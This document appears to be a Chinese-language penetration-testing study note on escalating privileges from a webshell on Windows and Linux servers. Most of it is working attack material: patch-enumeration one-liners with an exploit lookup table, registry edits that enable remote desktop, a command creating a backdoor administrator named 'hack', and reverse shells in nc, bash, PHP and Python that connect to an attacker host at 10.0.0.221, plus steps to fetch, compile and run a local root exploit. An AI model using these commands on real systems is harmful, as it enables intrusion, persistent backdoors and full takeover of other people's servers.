权限提升

水平权限提升(越权)

  • 同级用户获得其他同级用户权限

垂直权限提升

  • 普通用户获得管理员权限
  • web用户直接提权成管理员用户

提权工具

windows基于WebShell的提权

  • IIS的aspx大马,asp脚本权限比较低,尝试上传aspx的大马使用aspx大马提权
  • 如果目标使用的是集成环境搭建的网站(phpstudy,xampp,wampserver)获取WebShell之后就是系统或管理员权限,宝塔
  • 利用系统漏洞提权,找补丁,找漏洞,找EXP

利用漏洞提权需要获取windows系统的补丁安装情况,直接通过webshell查询以下命令获得结果,可以根据实际情况添加查询的漏洞编号

#windows 2003
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt

#windows2003以上
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195 KB3031432) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt

QQ截图20201230162623.png

补丁漏洞对应表

补丁 漏洞
KB2360937 MS10-084
KB2478960 MS11-014
KB2507938 MS11-056
KB2566454 MS11-062
KB2646524 MS12-003
KB2645640 MS12-009
KB2641653 MS12-018
KB944653 MS07-067
KB952004 MS09-012 PR
KB971657 MS09-041
KB2620712 MS11-097
KB2393802 MS11-011
kb942831 MS08-005
KB2503665 MS11-046
KB2592799 MS11-080
KB956572 MS09-012 烤肉
KB2621440 MS12-020
KB977165 MS10-015 Ms Viru
KB4013081 MS17-017
KB3139914 MS16-032
KB3124280 MS16-016
KB3134228 MS16-014
KB3079904 MS15-097
KB3077657 MS15-077
KB3045171 MS15-051
KB3000061 MS14-058
KB2829361 MS13-046
KB2850851 MS13-053 EPATHOBJ 0day 限32位
KB2707511 MS12-042 sysret -pid
KB2124261,KB2271195 MS10-065 IIS7
KB3198234 MS16-135
KB970483 MS09-020 IIS6
KB3031432 MS15-015

可能会遇到的问题

  1. 无法执行cmd命令
  2. 无法上传提权exp(哪些目录有写权限?日志,缓存,回收站,大马所在目录)

拥有系统权限后,可以通过命令行开启3389端口

  • windows 2003
windows 2003
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • windows 2003|2008
#3389.bat
echo Windows Registry Editor Version 5.00>>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg 
echo "fDenyTSConnections"=dword:00000000>>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg 
echo "PortNumber"=dword:00000d3d>>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg 
echo "PortNumber"=dword:00000d3d>>3389.reg 
regedit /s 3389.reg 
del 3389.reg

创建winows用户

net user hack 123.com /add
net localgroup administrators hack /add

数据库提权

  • MSSQL:xp_cmdshell cmd命令.前提,获取mssql sa的密码
  • MYSQL:提权利用mysql执行cmd命令udf,mof

基于WebShell反弹Shell

主要目的是建立一个持久性的连接

  • 正向shell:我主动连接服务器,服务器开启ssh端口
  • 反向Sehll:服务器主动连接我们,我们监听某一个端口

windows反弹shell

#windows服务器执行反弹
nc.exe -e cmd.exe 10.0.0.221 1234

#kali监听1234端口
nc -lvvp 1234
nc -lnvp 1234

QQ截图20201231160453.png

QQ截图20201231161248.png

QQ截图20201231161242.png

nc命令-e参数不可用反弹shell

如果nc命令-e参数不可用时,可以用以下命令代替

#nc
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.221 1234 >/tmp/f

nc

QQ截图20201231162807.png

QQ截图20201231162817.png

bash反弹shell

#bash
bash -i >& /dev/tcp/10.0.0.221/1234 0>&1
/bin/bash -i >& /dev/tcp/10.0.0.221/1234 0>&1
sh -i >& /dev/tcp/10.0.0.221/1234 0>&1
/bin/sh -i >& /dev/tcp/10.0.0.221/1234 0>&1
bash -c 'sh -i &>/dev/tcp/10.0.0.221/1234 0>&1'
echo "bash -i >& /dev/tcp/10.0.0.221/1234 0>&1" | bash

bash

QQ截图20201231163359.png

QQ截图20201231163404.png

php反弹shell

#php命令
php -r '$sock=fsockopen("10.0.0.221",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

#php文件 /tmp/reverse.php
<?php
$sock = fsockopen("10.0.0.221", 1234);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>

#执行文件
php -f /tmp/reverse.php

php命令

QQ截图20201231163839.png

QQ截图20201231163906.png

php文件

QQ截图20201231164354.png

QQ截图20201231164344.png

python反弹shell

#python文件
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.0.221',1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])

#执行文件
python /tmp/reverse.py
python3 /tmp/reverse.py

#进入交互式Shell
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/sh")'
python3 -c 'import pty;pty.spawn("/bin/sh")'

QQ截图20201231165123.png

QQ截图20201231165201.png

QQ截图20201231165119.png

linux基于WebShell的提权

linux系统提权有以下几种

  1. 利用系统漏洞提权
  2. 第三方软件,套路比较多,实战中自行体会
  3. dc系列

提权之前需要收集系统信息

uname -a

QQ截图20201231201443.png

  • 方法一:上传并运行提权辅助脚本.上传文件后赋予执行权限并执行,可以尝试脚本展示出的方式进行提权

  • 可以通过大马,wget命令,curl命令将脚本部署到服务器,可以部署到/tmp目录下,确保目录有写权限

/tmp/linux-exploit-suggester.sh

QQ截图20201231204133.png

  • 方法二:使用kali的漏洞库
searchsploit centos 7

QQ截图20201231204720.png

使用命令获取脚本到当前目录

#获取脚本
mkdir centos7
cd centos7
searchsploit -m 35370
#在kali中开启http服务传输脚本
python -m SimpleHTTPServer 8080

下载文件到服务器

QQ截图20201231205311.png

编译后执行

gcc 35370.c -o exploit -lpthread
./exploit

#如果编译遇到该错误执行以下命令后再尝试编译
#gcc: error trying to exec 'cc1': execvp: No such file or directory
#找到cc1并添加环境变量
whereis cc1
PATH="$PATH":/usr/libexec/gcc/x86_64-redhat-linux/4.8.2
export PATH

QQ截图20201231205505.png

如果执行脚本后提权成功会可以直接获得root权限

QQ截图20201231210936.png